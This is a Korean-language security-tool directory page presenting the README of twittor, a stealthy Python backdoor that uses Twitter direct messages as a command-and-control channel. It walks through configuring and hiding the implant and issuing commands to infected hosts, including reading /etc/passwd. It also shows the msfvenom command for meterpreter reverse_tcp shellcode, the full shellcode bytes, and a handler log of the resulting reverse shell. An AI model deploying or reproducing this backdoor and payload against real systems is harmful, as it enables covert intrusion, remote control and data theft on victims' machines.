Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
twittor — 트위터를 C&C 서버로 사용하는 완전한 기능을 갖춘 백도어 | Kitploit
도구/GitHubGitHub/paulsec/twittor
ExploitationShellcodePost-ExploitationCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubpaulsec/twittor

twittor

트위터를 C&C 서버로 사용하는 완전한 기능을 갖춘 백도어

저장소 보기
80622510년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Twittor

트위터(직접 메시지)를 명령 및 제어 서버로 사용하는 은밀한 Python 기반 백도어입니다. 이 프로젝트는 Gmail 계정을 사용하여 동일한 작업을 수행하는 Gcat에서 영감을 받았습니다.

설정

이 작업이 작동하려면 다음이 필요합니다:

  • 트위터 계정 (전용 계정을 사용하세요! 개인 계정을 사용하지 마세요!)
  • 읽기, 쓰기 및 직접 메시지 액세스 수준으로 트위터에 앱 등록

의존성 설치:

root@kitploit:~
$ pip install -r requirements.txt

이 저장소에는 두 개의 파일이 있습니다:

  • twittor.py (클라이언트)
  • implant.py (배포할 실제 백도어)

두 파일 모두에서 액세스 토큰 부분을 수정하고 이전에 생성한 토큰을 추가하세요:

root@kitploit:~
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

아마도 Pyinstaller를 사용하여 implant.py를 실행 파일로 컴파일하고 싶을 것입니다. Pyinstaller로 컴파일할 때 콘솔을 제거하려면 플래그 --noconsole --onefile이 도움이 됩니다. 그냥 말씀드리는 겁니다.

사용법

클라이언트를 실행하려면 스크립트를 실행하세요.

root@kitploit:~
$ python twittor.py

그러면 몇 가지 명령을 제공하는 '대화형' 셸에 들어갑니다:

root@kitploit:~
$ help

    refresh - C&C 제어 새로고침
    list_bots - 활성 봇 나열
    list_commands - 실행된 명령 나열
    !retrieve <jobid> - jobid 명령 검색
    !cmd <MAC ADDRESS> command - 봇에서 명령 실행
    !shellcode <MAC ADDRESS> shellcode - 메모리에 셸코드 로드 및 실행 (Windows 전용)
    help - 이 사용법 출력
    exit - 클라이언트 종료
    
$ 
  • 여러 시스템에 백도어를 배포한 후에는 list 명령을 사용하여 사용 가능한 클라이언트를 확인할 수 있습니다:
root@kitploit:~
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

출력은 시스템을 고유하게 식별하는 MAC 주소이며, 또한 임플란트가 실행 중인 OS 정보를 제공합니다. 이 경우 Linux 상자입니다.

  • 임플란트에 명령을 내려봅시다:
root@kitploit:~
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$

여기서는 B7:76:1F:0B:50:B7에 cat /etc/passwd를 실행하도록 지시하고, 스크립트는 jobid를 출력합니다. 이 jobid를 사용하여 해당 명령의 출력을 검색할 수 있습니다.

  • 결과를 가져와 봅시다!
root@kitploit:~
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

이 경우 사용할 명령은 jobid 뒤에 !retrieve입니다.

  • 결과 새로고침

새 봇/명령 출력을 검색하고 클라이언트가 결과를 새로고침하도록 강제하려면 refresh 명령을 사용하세요.

root@kitploit:~
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$

이것은 PING 요청을 보내고 봇이 응답할 때까지 10초 동안 기다립니다. 그런 다음 직접 메시지가 파싱되어 봇 목록이 새로고침되고, 새 명령 출력을 포함한 명령 목록도 새로고침됩니다.

  • 이전 명령 검색

앞서 말했듯이, 이전 직접 메시지(최대 200개)에서 (이전) 명령이 검색되며, list_commands 명령을 사용하여 실제로 검색/확인할 수 있습니다.

root@kitploit:~
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
  • 셸코드 실행 (Windows 호스트)

이 옵션은 meterpreter 세션을 검색하는 데 유용할 수 있으며, 이 문서가 매우 유용해집니다.

meterpreter 셸코드를 다음과 같이 생성하세요:

root@kitploit:~
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

셸코드를 추출하고 !shellcode 명령을 사용하여 지정된 봇에 보내세요!

root@kitploit:~
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$

짜잔!

root@kitploit:~
msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec

맥주 한 잔 열고 역방향 meterpreter 셸을 즐기세요.

기여 및/또는 질문?

프로젝트는 완전히 오픈 소스이며 MIT 라이선스로 배포됩니다. 트위터가 직접 메시지의 140자 제한을 제거하기로 결정한 후 PoC를 만들고 싶었습니다. 암호화(AES 추가)와 같은 몇 가지 기능이 추가되어야 합니다. "메시지"는 딕셔너리 데이터 구조를 사용하며 전체 명령은 base64로만 인코딩됩니다. 프로젝트를 포크하고, 기여하고, 풀 리퀘스트를 제출하고, 즐기세요.

버그를 발견하면 Github에서 이슈를 열거나 트위터로 핑을 보내주세요.

다시 한번, 저에게 큰 영감을 준 byt3bl33d3r의 놀라운 Gcat 프로젝트를 확인해보세요.

도구 다운로드